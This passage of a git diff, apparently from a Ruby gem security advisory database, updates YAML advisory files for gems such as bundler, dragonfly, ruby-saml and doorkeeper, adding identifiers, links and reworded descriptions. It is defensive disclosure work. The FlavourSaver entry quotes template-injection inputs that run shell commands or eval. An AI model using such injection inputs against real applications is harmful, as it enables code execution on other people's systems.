+    url:
+    - https://www.openwall.com/lists/oss-security/2014/07/10/6
+    - https://raw.githubusercontent.com/codesake/codesake-dawn/master/Roadmap.md
+    - http://www.vapid.dhs.org/advisories/brbackup-0.1.1.html
+    - http://www.vapidlabs.com/advisory.php?v=25
+    - http://osvdb.org/show/osvdb/108900
 ---
diff --git a/advisories/_posts/2014-08-13-CVE-2013-0334.md b/advisories/_posts/2014-08-13-CVE-2013-0334.md
index 9b56fac6..6fc45283 100644
--- a/advisories/_posts/2014-08-13-CVE-2013-0334.md
+++ b/advisories/_posts/2014-08-13-CVE-2013-0334.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2013-0334 (bundler): Bundler Gem for Ruby Multiple Top-level Source Lines
-  Gemfile Handling Gem Installation Spoofing'
+title: 'CVE-2013-0334 (bundler): CVE-2013-0334 rubygem-bundler: ''bundle install''
+  may install a gem from a source other than expected'
 comments: false
 categories:
 - bundler
@@ -9,15 +9,19 @@ advisory:
   gem: bundler
   cve: 2013-0334
   osvdb: 110004
-  url: http://www.osvdb.org/show/osvdb/110004
-  title: Bundler Gem for Ruby Multiple Top-level Source Lines Gemfile Handling Gem
-    Installation Spoofing
+  ghsa: 49jx-9cmc-xjxm
+  url: https://nvd.nist.gov/vuln/detail/CVE-2013-0334
+  title: 'CVE-2013-0334 rubygem-bundler: ''bundle install'' may install a gem from
+    a source other than expected'
   date: 2014-08-13
   description: |
-    Bundler Gem for Ruby contains a flaw that is triggered when handling
-    a gemfile that contains multiple top-level source lines. This may allow a
-    context-dependent attacker to install specially crafted gems on a remote
-    system, leading to arbitrary code execution.
+    Bundler before 1.7, when multiple top-level source lines are used, allows
+    remote attackers to install arbitrary gems by creating a gem with the same name
+    as another gem in a different source. A flaw was found in the way Bundler handled
+    gems available from multiple sources. An attacker with access to one of the sources
+    could create a malicious gem with the same name, which they could then use to trick
+    a user into installing, potentially resulting in execution of code from the attacker-supplied
+    malicious gem.
   cvss_v2: 5.0
   patched_versions:
   - ">= 1.7.0"
diff --git a/advisories/_posts/2014-08-18-CVE-2014-3514.md b/advisories/_posts/2014-08-18-CVE-2014-3514.md
index 36a4529f..2d6defdb 100644
--- a/advisories/_posts/2014-08-18-CVE-2014-3514.md
+++ b/advisories/_posts/2014-08-18-CVE-2014-3514.md
@@ -9,10 +9,12 @@ advisory:
   gem: activerecord
   framework: rails
   cve: 2014-3514
+  ghsa: 9rf5-jm6f-2fmm
   url: https://groups.google.com/forum/#!msg/rubyonrails-security/M4chq5Sb540/CC1Fh0Y_NWwJ
   title: Data Injection Vulnerability in Active Record
   date: 2014-08-18
-  description: The create_with functionality in Active Record was implemented incorrectly
+  description: |
+    The create_with functionality in Active Record was implemented incorrectly
     and completely bypasses the strong parameters protection. Applications which pass
     user-controlled values to create_with could allow attackers to set arbitrary attributes
     on models.
diff --git a/advisories/_posts/2014-08-22-CVE-2014-5441.md b/advisories/_posts/2014-08-22-CVE-2014-5441.md
index 9a7a36c1..a3f6befc 100644
--- a/advisories/_posts/2014-08-22-CVE-2014-5441.md
+++ b/advisories/_posts/2014-08-22-CVE-2014-5441.md
@@ -7,9 +7,10 @@ categories:
 - fat_free_crm
 advisory:
   gem: fat_free_crm
-  osvdb: 110420
   cve: 2014-5441
-  url: http://osvdb.org/show/osvdb/110420
+  osvdb: 110420
+  ghsa: wcfx-3m6v-4frg
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-5441
   title: Fat Free CRM Gem contains a javascript cross-site scripting (XSS) vulnerability
   date: 2014-08-22
   description: |
diff --git a/advisories/_posts/2014-08-25-OSVDB-110439.md b/advisories/_posts/2014-08-25-OSVDB-110439.md
index eb46c2e7..a2150f26 100644
--- a/advisories/_posts/2014-08-25-OSVDB-110439.md
+++ b/advisories/_posts/2014-08-25-OSVDB-110439.md
@@ -1,23 +1,27 @@
 ---
 layout: advisory
-title: 'OSVDB-110439 (fog-dragonfly): Dragonfly Gem for Ruby Image Uploading & Processing
+title: 'OSVDB-110439 (dragonfly): Dragonfly Gem for Ruby Image Uploading & Processing
   Remote Command Execution'
 comments: false
 categories:
-- fog-dragonfly
+- dragonfly
 advisory:
-  gem: fog-dragonfly
+  gem: dragonfly
   osvdb: 110439
-  url: http://osvdb.org/show/osvdb/110439
+  url: https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20193
   title: Dragonfly Gem for Ruby Image Uploading & Processing Remote Command Execution
   date: 2014-08-25
   description: |
-    Dragonfly Gem for Ruby contains a flaw in Uploading & Processing that is due
-    to the gem failing to restrict arbitrary commands to imagemagicks convert.
-    This may allow a remote attacker to gain read/write access to the filesystem
-    and execute arbitrary commands.
-
-    This gem has been renamed. Please use "dragonfly" from now on.
+    Dragonfly Gem for Ruby contains a flaw in Uploading & Processing
+    that is due to the gem failing to restrict arbitrary commands to
+    imagemagicks convert. This may allow a remote attacker to gain
+    read/write access to the filesystem and execute arbitrary commands.
   patched_versions:
-  - ">= 0.8.4"
+  - ">= 1.0.7"
+  related:
+    url:
+    - https://github.com/markevans/dragonfly/compare/v1.0.6...v1.0.7
+    - https://security.snyk.io/vuln/SNYK-RUBY-DRAGONFLY-20193
+    - https://www.mend.io/vulnerability-database/WS-2014-0016
+    - http://osvdb.org/show/osvdb/110439
 ---
diff --git a/advisories/_posts/2014-09-04-OSVDB-110796.md b/advisories/_posts/2014-09-04-OSVDB-110796.md
index 64510dd8..f7391656 100644
--- a/advisories/_posts/2014-09-04-OSVDB-110796.md
+++ b/advisories/_posts/2014-09-04-OSVDB-110796.md
@@ -1,16 +1,14 @@
 ---
 layout: advisory
-title: |
-  OSVDB-110796 (flavour_saver): FlavourSaver handlebars helper remote code execution.
+title: 'OSVDB-110796 (flavour_saver): FlavourSaver handlebars helper remote code execution.'
 comments: false
 categories:
 - flavour_saver
 advisory:
   gem: flavour_saver
   osvdb: 110796
-  url: http://osvdb.org/show/osvdb/110796
-  title: |
-    FlavourSaver handlebars helper remote code execution.
+  url: https://security.snyk.io/vuln/SNYK-RUBY-FLAVOURSAVER-5457859
+  title: FlavourSaver handlebars helper remote code execution.
   date: 2014-09-04
   description: |
     FlavourSaver contains a flaw in helper method dispatch where it uses
@@ -19,4 +17,12 @@ advisory:
     {{system "ls"}} or {{eval "puts 1 + 1"}} to be executed.
   patched_versions:
   - ">= 0.3.3"
+  related:
+    url:
+    - https://github.com/FlavourSaver/FlavourSaver/compare/v0.3.2...v0.3.3
+    - https://github.com/FlavourSaver/FlavourSaver/commit/04a8ff444a9a9668a75b01b20b4974d398087a64
+    - https://raw.githubusercontent.com/codesake/codesake-dawn/master/Roadmap.md
+    - https://github.com/slowmistio/dawnscanner-analysis-security-scanner-for-ruby-/blob/master/Roadmap.md
+    - https://security.snyk.io/vuln/SNYK-RUBY-FLAVOURSAVER-5457859
+    - http://osvdb.org/show/osvdb/110796
 ---
diff --git a/advisories/_posts/2014-09-25-OSVDB-112683.md b/advisories/_posts/2014-09-25-OSVDB-112683.md
index c5dc596b..0ed84a22 100644
--- a/advisories/_posts/2014-09-25-OSVDB-112683.md
+++ b/advisories/_posts/2014-09-25-OSVDB-112683.md
@@ -8,11 +8,18 @@ categories:
 advisory:
   gem: as
   osvdb: 112683
-  url: http://osvdb.org/show/osvdb/112683
+  url: https://security.snyk.io/vuln/SNYK-RUBY-AS-20195
   title: as Gem for Ruby Process List Local Plaintext Credentials Disclosure
   date: 2014-09-25
   description: |
     as Gem for Ruby contains a flaw that is due to the program displaying
     credential information in plaintext in the process list. This may
     allow a local attacker to gain access to credential information.
+  notes: Never patched
+  related:
+    url:
+    - https://security.snyk.io/vuln/SNYK-RUBY-AS-20195
+    - http://www.vapid.dhs.org/advisories/as-v1.0.html
+    - http://www.vapidlabs.com/advisory.php?v=17
+    - http://osvdb.org/show/osvdb/112683
 ---
diff --git a/advisories/_posts/2014-09-27-CVE-2014-10077.md b/advisories/_posts/2014-09-27-CVE-2014-10077.md
new file mode 100644
index 00000000..fc5b48d6
--- /dev/null
+++ b/advisories/_posts/2014-09-27-CVE-2014-10077.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2014-10077 (i18n): i18n Gem for Ruby lib/i18n/core_ext/hash.rb Hash#slice()
+  Function Hash Handling DoS'
+comments: false
+categories:
+- i18n
+advisory:
+  gem: i18n
+  cve: 2014-10077
+  ghsa: 34hf-g744-jw64
+  url: https://github.com/svenfuchs/i18n/pull/289
+  title: i18n Gem for Ruby lib/i18n/core_ext/hash.rb Hash#slice() Function Hash Handling
+    DoS
+  date: 2014-09-27
+  description: |
+    i18n Gem for Ruby contains a flaw in the Hash#slice() function in
+    lib/i18n/core_ext/hash.rb that is triggered when calling a hash when
+    :some_key is in keep_keys but not in the hash. This may allow an attacker
+    to cause the program to crash.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 0.8.0"
+  related:
+    osvdb:
+    - 121500
+---
diff --git a/advisories/_posts/2014-09-29-OSVDB-112346.md b/advisories/_posts/2014-09-29-OSVDB-112346.md
index 113b6596..f00bca7a 100644
--- a/advisories/_posts/2014-09-29-OSVDB-112346.md
+++ b/advisories/_posts/2014-09-29-OSVDB-112346.md
@@ -8,13 +8,19 @@ categories:
 advisory:
   gem: web-console
   osvdb: 112346
-  url: http://www.osvdb.org/show/osvdb/112346
+  url: https://my.diffend.io/gems/web-console/versions/2.0.0.beta3
   title: Web Console Gem for Ruby contains an unspecified flaw
   date: 2014-09-29
-  description: The Web Console Gem for Ruby on Rails contains an unspecified flaw
-    that may allow an attacker to have an unspecified impact. No further details have
-    been provided by the vendor.
-  cvss_v2: 
+  description: |
+    The Web Console Gem for Ruby on Rails contains an unspecified
+    flaw that may allow an attacker to have an unspecified impact.
+    No further details have been provided by the vendor.
   patched_versions:
   - ">= 2.0.0.beta4"
+  related:
+    url:
+    - https://github.com/rails/web-console/compare/v2.0.0.beta3...v2.0.0.beta4
+    - https://my.diffend.io/gems/web-console/versions/2.0.0.beta3
+    - https://github.com/slowmistio/dawnscanner-analysis-security-scanner-for-ruby-/blob/master/Roadmap.md
+    - http://www.osvdb.org/show/osvdb/112346
 ---
diff --git a/advisories/_posts/2014-10-13-OSVDB-126330.md b/advisories/_posts/2014-10-13-OSVDB-126330.md
index 0d2851e6..4e35f50f 100644
--- a/advisories/_posts/2014-10-13-OSVDB-126330.md
+++ b/advisories/_posts/2014-10-13-OSVDB-126330.md
@@ -1,18 +1,23 @@
 ---
 layout: advisory
-title: |
-  OSVDB-126330 (sidekiq-pro): Sidekiq Pro Gem for Ruby web/views/batch{,es}.erb Description Element XSS
+title: 'OSVDB-126330 (sidekiq-pro): Sidekiq Pro Gem for Ruby web/views/batch{,es}.erb
+  Description Element XSS'
 comments: false
 categories:
 - sidekiq-pro
 advisory:
   gem: sidekiq-pro
   osvdb: 126330
-  url: https://github.com/mperham/sidekiq/commit/99b12fb50fe244c5a317f03f1bed9b333ec56ebe
-  title: |
-    Sidekiq Pro Gem for Ruby web/views/batch{,es}.erb Description Element XSS
+  url: https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQPRO-20197
+  title: Sidekiq Pro Gem for Ruby web/views/batch{,es}.erb Description Element XSS
   date: 2014-10-13
-  description: XSS via batch description in Sidekiq::Web
+  description: 'XSS via batch description in Sidekiq::Web
+
+    '
   patched_versions:
   - ">= 1.9.1"
+  related:
+    url:
+    - https://github.com/mperham/sidekiq/commit/99b12fb50fe244c5a317f03f1bed9b333ec56ebe
+    - https://security.snyk.io/vuln/SNYK-RUBY-SIDEKIQPRO-20197
 ---
diff --git a/advisories/_posts/2014-10-30-CVE-2014-7818.md b/advisories/_posts/2014-10-30-CVE-2014-7818.md
index 149f27eb..d9d1dec7 100644
--- a/advisories/_posts/2014-10-30-CVE-2014-7818.md
+++ b/advisories/_posts/2014-10-30-CVE-2014-7818.md
@@ -10,6 +10,7 @@ advisory:
   gem: actionpack
   framework: rails
   cve: 2014-7818
+  ghsa: 29gr-w57f-rpfw
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/dCp7duBiQgo
   title: Arbitrary file existence disclosure in Action Pack
   date: 2014-10-30
diff --git a/advisories/_posts/2014-10-30-CVE-2014-7819.md b/advisories/_posts/2014-10-30-CVE-2014-7819.md
index 001c80ed..90083454 100644
--- a/advisories/_posts/2014-10-30-CVE-2014-7819.md
+++ b/advisories/_posts/2014-10-30-CVE-2014-7819.md
@@ -1,6 +1,7 @@
 ---
 layout: advisory
-title: 'CVE-2014-7819 (sprockets): Arbitrary file existence disclosure in Sprockets'
+title: 'CVE-2014-7819 (sprockets): CVE-2014-7819 rubygem-sprockets: arbitrary file
+  existence disclosure'
 comments: false
 categories:
 - sprockets
@@ -8,14 +9,18 @@ advisory:
   gem: sprockets
   cve: 2014-7819
   osvdb: 113965
+  ghsa: 33pp-3763-mrfp
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/doAVp0YaTqY
-  title: Arbitrary file existence disclosure in Sprockets
+  title: 'CVE-2014-7819 rubygem-sprockets: arbitrary file existence disclosure'
   date: 2014-10-30
   description: |
-    Specially crafted requests can be used to determine whether a file exists on
-    the filesystem that is outside an application's root directory.  The files
-    will not be served, but attackers can determine whether or not the file
-    exists.
+    Multiple directory traversal vulnerabilities in server.rb in Sprockets
+    before 2.0.5, 2.1.x before 2.1.4, 2.2.x before 2.2.3, 2.3.x before 2.3.3, 2.4.x
+    before 2.4.6, 2.5.x before 2.5.1, 2.6.x and 2.7.x before 2.7.1, 2.8.x before 2.8.3,
+    2.9.x before 2.9.4, 2.10.x before 2.10.2, 2.11.x before 2.11.3, 2.12.x before 2.12.3,
+    and 3.x before 3.0.0.beta.3, as distributed with Ruby on Rails 3.x and 4.x, allow
+    remote attackers to determine the existence of files outside the application root
+    via a ../ (dot dot slash) sequence with (1) double slashes or (2) URL encoding.
   cvss_v2: 5.0
   patched_versions:
   - "~> 2.0.5"
diff --git a/advisories/_posts/2014-11-17-CVE-2014-7829.md b/advisories/_posts/2014-11-17-CVE-2014-7829.md
index aa567d28..eef47bf2 100644
--- a/advisories/_posts/2014-11-17-CVE-2014-7829.md
+++ b/advisories/_posts/2014-11-17-CVE-2014-7829.md
@@ -10,6 +10,7 @@ advisory:
   gem: actionpack
   framework: rails
   cve: 2014-7829
+  ghsa: h56m-vwxc-3qpw
   url: https://groups.google.com/forum/#!topic/rubyonrails-security/rMTQy4oRCGk
   title: Arbitrary file existence disclosure in Action Pack
   date: 2014-11-17
diff --git a/advisories/_posts/2014-12-04-CVE-2014-9489.md b/advisories/_posts/2014-12-04-CVE-2014-9489.md
index 71b7efb8..d53cde8b 100644
--- a/advisories/_posts/2014-12-04-CVE-2014-9489.md
+++ b/advisories/_posts/2014-12-04-CVE-2014-9489.md
@@ -1,8 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2014-9489 (gollum-grit_adapter): gollum-grit_adapter Search Functionality Allows Arbitrary Command
-  Execution
+title: 'CVE-2014-9489 (gollum-grit_adapter): gollum-grit_adapter Search Functionality
+  Allows Arbitrary Command Execution'
 comments: false
 categories:
 - gollum-grit_adapter
@@ -10,17 +9,21 @@ advisory:
   gem: gollum-grit_adapter
   cve: 2014-9489
   url: https://github.com/gollum/gollum/issues/913
-  title: |
-    gollum-grit_adapter Search Functionality Allows Arbitrary Command
-    Execution
+  title: gollum-grit_adapter Search Functionality Allows Arbitrary Command Execution
   date: 2014-12-04
-  description: "The gollum-grit_adapter gem contains a flaw that can allow arbitrary\ncommand
-    execution. \n\nGrit implements its search functionality by shelling out to `git
-    grep`. In \nturn, `git grep` takes a `-O` or `--open-files-in-pages` option that
-    will \npipe the results of `grep` to an arbitrary process. By failing to properly\nsanitize
-    user input search parameters, an attacker can thus perform command \nexecution.\n\nNote
-    that the grep result must find the string 'master' (or \nwhatever is the default
-    branch that gollum uses) in any of the wiki's\ndocuments for this to succeed.\n"
+  description: |
+    The gollum-grit_adapter gem contains a flaw that can allow arbitrary
+    command execution.
+
+    Grit implements its search functionality by shelling out to `git grep`. In
+    turn, `git grep` takes a `-O` or `--open-files-in-pages` option that will
+    pipe the results of `grep` to an arbitrary process. By failing to properly
+    sanitize user input search parameters, an attacker can thus perform command
+    execution.
+
+    Note that the grep result must find the string 'master' (or
+    whatever is the default branch that gollum uses) in any of the wiki's
+    documents for this to succeed.
   patched_versions:
   - ">= 0.1.1"
 ---
diff --git a/advisories/_posts/2014-12-08-CVE-2014-9490.md b/advisories/_posts/2014-12-08-CVE-2014-9490.md
index ffdcc4d4..36484168 100644
--- a/advisories/_posts/2014-12-08-CVE-2014-9490.md
+++ b/advisories/_posts/2014-12-08-CVE-2014-9490.md
@@ -9,14 +9,16 @@ advisory:
   gem: sentry-raven
   cve: 2014-9490
   osvdb: 115654
-  url: http://osvdb.org/show/osvdb/115654
+  ghsa: c9c5-9fpr-m882
+  url: https://nvd.nist.gov/vuln/detail/CVE-2014-9490
   title: sentry-raven Gem for Ruby contains a flaw that can result in a denial of
     service
   date: 2014-12-08
-  description: Sentry raven-ruby contains a flaw in the lib/raven/okjson.rb script
-    that is triggered when large numeric values are stored as an exponent or in scientific
-    notation. With a specially crafted request, an attacker can cause the software
-    to consume excessive resources resulting in a denial of service.
+  description: |
+    Sentry raven-ruby contains a flaw in the lib/raven/okjson.rb script that
+    is triggered when large numeric values are stored as an exponent or in scientific
+    notation. With a specially crafted request, an attacker can cause the software to
+    consume excessive resources resulting in a denial of service.
   cvss_v2: 5.0
   patched_versions:
   - ">= 0.12.2"
diff --git a/advisories/_posts/2014-12-08-OSVDB-115654.md b/advisories/_posts/2014-12-08-OSVDB-115654.md
deleted file mode 100644
index 0604c0a5..00000000
--- a/advisories/_posts/2014-12-08-OSVDB-115654.md
+++ /dev/null
@@ -1,22 +0,0 @@
----
-layout: advisory
-title: ! 'OSVDB-115654: sentry-raven Gem for Ruby contains a flaw that can result
-  in a denial of service'
-comments: false
-categories:
-- sentry-raven
-advisory:
-  gem: sentry-raven
-  osvdb: 115654
-  url: http://osvdb.org/show/osvdb/115654
-  title: sentry-raven Gem for Ruby contains a flaw that can result in a denial of
-    service
-  date: 2014-12-08
-  description: Sentry raven-ruby contains a flaw in the lib/raven/okjson.rb script
-    that is triggered when large numeric values are stored as an exponent or in scientific
-    notation. With a specially crafted request, an attacker can cause the software
-    to consume excessive resources resulting in a denial of service.
-  cvss_v2: 5.0
-  patched_versions:
-  - ! '>= 0.12.2'
----
diff --git a/advisories/_posts/2014-12-18-CVE-2014-8144.md b/advisories/_posts/2014-12-18-CVE-2014-8144.md
index b6137b80..dc4046be 100644
--- a/advisories/_posts/2014-12-18-CVE-2014-8144.md
+++ b/advisories/_posts/2014-12-18-CVE-2014-8144.md
@@ -1,8 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2014-8144 (doorkeeper): Cross-site request forgery (CSRF) vulnerability in doorkeeper 1.4.0
-  and earlier.
+title: 'CVE-2014-8144 (doorkeeper): Cross-site request forgery (CSRF) vulnerability
+  in doorkeeper 1.4.0 and earlier.'
 comments: false
 categories:
 - doorkeeper
@@ -10,10 +9,9 @@ advisory:
   gem: doorkeeper
   cve: 2014-8144
   osvdb: 116010
+  ghsa: 685w-vc84-wxcx
   url: https://groups.google.com/forum/#!topic/ruby-security-ann/5_VqJtNc8jw
-  title: |
-    Cross-site request forgery (CSRF) vulnerability in doorkeeper 1.4.0
-    and earlier.
+  title: Cross-site request forgery (CSRF) vulnerability in doorkeeper 1.4.0 and earlier.
   date: 2014-12-18
   description: |
     Cross-site request forgery (CSRF) vulnerability in doorkeeper 1.4.0
diff --git a/advisories/_posts/2015-01-12-CVE-2015-3448.md b/advisories/_posts/2015-01-12-CVE-2015-3448.md
deleted file mode 100644
index 7e4175dc..00000000
--- a/advisories/_posts/2015-01-12-CVE-2015-3448.md
+++ /dev/null
@@ -1,21 +0,0 @@
----
-layout: advisory
-title: 'CVE-2015-3448 (rest-client): Rest-Client Gem for Ruby logs password information
-  in plaintext'
-comments: false
-categories:
-- rest-client
-advisory:
-  gem: rest-client
-  cve: 2015-3448
-  osvdb: 117461
-  url: http://www.osvdb.org/show/osvdb/117461
-  title: Rest-Client Gem for Ruby logs password information in plaintext
-  date: 2015-01-12
-  description: Rest-Client Ruby Gem contains a flaw that is due to the application
-    logging password information in plaintext. This may allow a local attacker to
-    gain access to password information.
-  cvss_v2: 
-  patched_versions:
-  - ">= 1.7.3"
----
diff --git a/advisories/_posts/2015-01-12-OSVDB-117461.md b/advisories/_posts/2015-01-12-OSVDB-117461.md
deleted file mode 100644
index 1b632c00..00000000
--- a/advisories/_posts/2015-01-12-OSVDB-117461.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-layout: advisory
-title: ! 'OSVDB-117461: Rest-Client Gem for Ruby logs password information in plaintext'
-comments: false
-categories:
-- rest-client
-advisory:
-  gem: rest-client
-  osvdb: 117461
-  url: http://www.osvdb.org/show/osvdb/117461
-  title: Rest-Client Gem for Ruby logs password information in plaintext
-  date: 2015-01-12
-  description: Rest-Client Ruby Gem contains a flaw that is due to the application
-    logging password information in plaintext. This may allow a local attacker to
-    gain access to password information.
-  cvss_v2: 
-  patched_versions:
-  - ! '>= 1.7.3'
----
diff --git a/advisories/_posts/2015-02-03-OSVDB-117903.md b/advisories/_posts/2015-02-03-OSVDB-117903.md
index e6985331..b558a121 100644
--- a/advisories/_posts/2015-02-03-OSVDB-117903.md
+++ b/advisories/_posts/2015-02-03-OSVDB-117903.md
@@ -7,14 +7,22 @@ categories:
 advisory:
   gem: ruby-saml
   osvdb: 117903
-  url: http://www.osvdb.org/show/osvdb/117903
+  url: https://advisories.dxw.com/advisories/publicly-exploitable-command-injection-in-ruby-saml-0-7-2-library-can-root-the-host
   title: Ruby-Saml Gem is vulnerable to arbitrary code execution
   date: 2015-02-03
   description: |
-    ruby-saml contains a flaw that is triggered as the URI value of a SAML response is
-    not properly sanitized through a prepared statement. This may allow a remote
-    attacker to execute arbitrary shell commands on the host machine.
-  cvss_v2: 
+    ruby-saml contains a flaw that is triggered as the URI value of a
+    SAML response is not properly sanitized through a prepared statement.
+    This may allow a remote attacker to execute arbitrary shell commands
+    on the host machine.
   patched_versions:
   - ">= 0.8.2"
+  related:
+    url:
+    - https://advisories.dxw.com/advisories/publicly-exploitable-command-injection-in-ruby-saml-0-7-2-library-can-root-the-host
+    - https://seclists.org/oss-sec/2015/q3/282
+    - https://github.com/SAML-Toolkits/ruby-saml/pull/225#issuecomment-120084288
+    - https://github.com/SAML-Toolkits/ruby-saml/commit/1b4e3dd6d2d44efa629144b2180842456bfb2a0f#diff-661b9d9743a3ff77661f224c6191165cL242
+    - https://www.mend.io/vulnerability-database/WS-2015-0040
+    - http://www.osvdb.org/show/osvdb/117903
 ---
diff --git a/advisories/_posts/2015-02-10-CVE-2015-1426.md b/advisories/_posts/2015-02-10-CVE-2015-1426.md
new file mode 100644
index 00000000..37c53c74
--- /dev/null
+++ b/advisories/_posts/2015-02-10-CVE-2015-1426.md
@@ -0,0 +1,34 @@
+---
+layout: advisory
+title: 'CVE-2015-1426 (facter): Puppet Labs Facter allows local users to obtains sensitive
+  Amazon EC2 IAM instance metadata by reading a fact for an Amazon EC2 node.'
+comments: false
+categories:
+- facter
+advisory:
+  gem: facter
+  cve: 2015-1426
+  ghsa: j436-h7hm-rx46
+  url: https://www.puppet.com/security/cve/cve-2015-1426-potential-sensitive-information-leakage-facters-amazon-ec2-metadata
+  title: Puppet Labs Facter allows local users to obtains sensitive Amazon EC2 IAM
+    instance metadata by reading a fact for an Amazon EC2 node.
+  date: 2015-02-10
+  description: |
+    Puppet Labs Facter 1.6.0 through 2.4.0 allows local users to
+    obtains sensitive Amazon EC2 IAM instance metadata by reading
+    a fact for an Amazon EC2 node.
+  cvss_v2: 2.1
+  cvss_v3: 1.3
+  unaffected_versions:
+  - "< 1.6.0"
+  patched_versions:
+  - ">= 2.4.1"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2015-1426
+    - https://www.puppet.com/security/cve/cve-2015-1426-potential-sensitive-information-leakage-facters-amazon-ec2-metadata
+    - https://sca.analysiscenter.veracode.com/vulnerability-database/security/disclosure-amazon-ec2-iam-instance/ruby/sid-1508/summary
+    - https://srcclr.com/security/disclosure-amazon-ec2-iam-instance/ruby/s-1508
+    - https://github.com/rubysec/ruby-advisory-db/issues/238
+    - https://github.com/advisories/GHSA-j436-h7hm-rx46
+---
diff --git a/advisories/_posts/2015-02-10-OSVDB-118830.md b/advisories/_posts/2015-02-10-OSVDB-118830.md
index 1e55d4ef..43d1945f 100644
--- a/advisories/_posts/2015-02-10-OSVDB-118830.md
+++ b/advisories/_posts/2015-02-10-OSVDB-118830.md
@@ -1,26 +1,34 @@
 ---
 layout: advisory
-title: |
-  OSVDB-118830 (doorkeeper): Doorkeeper Gem for Ruby stores sensitive information
-  in production logs
+title: 'OSVDB-118830 (doorkeeper): Doorkeeper Gem for Ruby stores sensitive information
+  in production logs'
 comments: false
 categories:
 - doorkeeper
 advisory:
   gem: doorkeeper
   osvdb: 118830
-  url: http://www.osvdb.org/show/osvdb/118830
-  title: |
-    Doorkeeper Gem for Ruby stores sensitive information
-    in production logs
+  url: https://www.versioneye.com/Ruby/doorkeeper/2.1.1
+  title: Doorkeeper Gem for Ruby stores sensitive information in production logs
   date: 2015-02-10
   description: |
     Doorkeeper Gem for Ruby contains a flaw in lib/doorkeeper/engine.rb.
     The issue is due to the program storing sensitive information in
     production logs. This may allow a local attacker to gain access to
     sensitive information.
-  cvss_v2: 
   patched_versions:
   - "~> 1.4.2"
   - ">= 2.1.2"
+  related:
+    url:
+    - https://www.versioneye.com/Ruby/doorkeeper/2.1.1
+    - https://github.com/doorkeeper-gem/doorkeeper/commit/d6bca5f32b741b8cee83a4aeb818338b919181fe
+    - https://github.com/doorkeeper-gem/doorkeeper/blob/main/lib/doorkeeper/engine.rb
+    - https://github.com/doorkeeper-gem/doorkeeper/issues/576
+    - https://github.com/rubysec/ruby-advisory-db/pull/128
+    - https://my.diffend.io/gems/doorkeeper/versions/0.3.0
+    - https://security.snyk.io/vuln/SNYK-RUBY-DOORKEEPER-20206
+    - https://www.mend.io/vulnerability-database/WS-2015-0039
+    - http://www.osvdb.org/show/osvdb/118830
+  notes: 'Issue #576 backported to 1.4.x on March 2, 2015.'
 ---
diff --git a/advisories/_posts/2015-02-16-CVE-2015-1585.md b/advisories/_posts/2015-02-16-CVE-2015-1585.md
index faecfe16..563972f4 100644
--- a/advisories/_posts/2015-02-16-CVE-2015-1585.md
+++ b/advisories/_posts/2015-02-16-CVE-2015-1585.md
@@ -7,9 +7,10 @@ categories:
 - fat_free_crm
 advisory:
   gem: fat_free_crm
-  osvdb: 118465
   cve: 2015-1585
-  url: http://osvdb.org/show/osvdb/118465
+  osvdb: 118465
+  ghsa: wx7c-8j35-mpg8
+  url: https://nvd.nist.gov/vuln/detail/CVE-2015-1585
   title: Fat Free CRM Gem being vulnerable to CSRF-type attacks
   date: 2015-02-16
   description: |
diff --git a/advisories/_posts/2015-02-17-CVE-2015-2179.md b/advisories/_posts/2015-02-17-CVE-2015-2179.md
index 0367eefa..ae71115c 100644
--- a/advisories/_posts/2015-02-17-CVE-2015-2179.md
+++ b/advisories/_posts/2015-02-17-CVE-2015-2179.md
@@ -1,7 +1,7 @@
 ---
 layout: advisory
-title: |
-  CVE-2015-2179 (xaviershay-dm-rails): xaviershay-dm-rails Gem for Ruby exposes sensitive information via the process table
+title: 'CVE-2015-2179 (xaviershay-dm-rails): xaviershay-dm-rails Gem for Ruby exposes
+  sensitive information via the process table'
 comments: false
 categories:
 - xaviershay-dm-rails
@@ -9,13 +9,15 @@ advisory:
   gem: xaviershay-dm-rails
   cve: 2015-2179
   osvdb: 118579
-  url: http://osvdb.org/show/osvdb/118579
-  title: |
-    xaviershay-dm-rails Gem for Ruby exposes sensitive information via the process table
+  ghsa: 88p8-4vv5-82j7
+  url: https://nvd.nist.gov/vuln/detail/CVE-2015-2179
+  title: xaviershay-dm-rails Gem for Ruby exposes sensitive information via the process
+    table
   date: 2015-02-17
   description: |
     xaviershay-dm-rails Gem for Ruby contains a flaw in the execute() function
     in /datamapper/dm-rails/blob/master/lib/dm-rails/storage.rb. The issue is
     due to the function exposing sensitive information via the process table.
     This may allow a local attack to gain access to MySQL credential information.
+  cvss_v3: 5.5
 ---
diff --git a/advisories/_posts/2015-03-05-OSVDB-119205.md b/advisories/_posts/2015-03-05-OSVDB-119205.md
index 5092b8be..de99b1e3 100644
--- a/advisories/_posts/2015-03-05-OSVDB-119205.md
+++ b/advisories/_posts/2015-03-05-OSVDB-119205.md
@@ -7,19 +7,27 @@ categories:
 advisory:
   gem: spree
   osvdb: 119205
-  url: https://spreecommerce.com/blog/security-updates-2015-3-3
+  url: https://web.archive.org/web/20150920092934/https://spreecommerce.com/blog/security-updates-2015-3-3
   title: Spree API Information Disclosure CSRF
   date: 2015-03-05
   description: |
-    Spree contains a flaw in the API as HTTP requests do not require multiple
-    steps, explicit confirmation, or a unique token when performing certain
-    sensitive actions. By tricking a user into following a specially crafted
-    link, a context-dependent attacker can perform a Cross-Site Request Forgery
-    (CSRF / XSRF) attack causing the victim to disclose potentially sensitive
-    information to attackers.
+    Spree contains a flaw in the API as HTTP requests do not require
+    multiple steps, explicit confirmation, or a unique token when
+    performing certain sensitive actions. By tricking a user into
+    following a specially crafted link, a context-dependent attacker
+    can perform a Cross-Site Request Forgery (CSRF / XSRF) attack
+    causing the victim to disclose potentially sensitive information
+    to attackers.
   patched_versions:
   - "~> 2.2.10"
   - "~> 2.3.8"
   - "~> 2.4.5"
   - ">= 3.0.0.rc4"
+  related:
+    url:
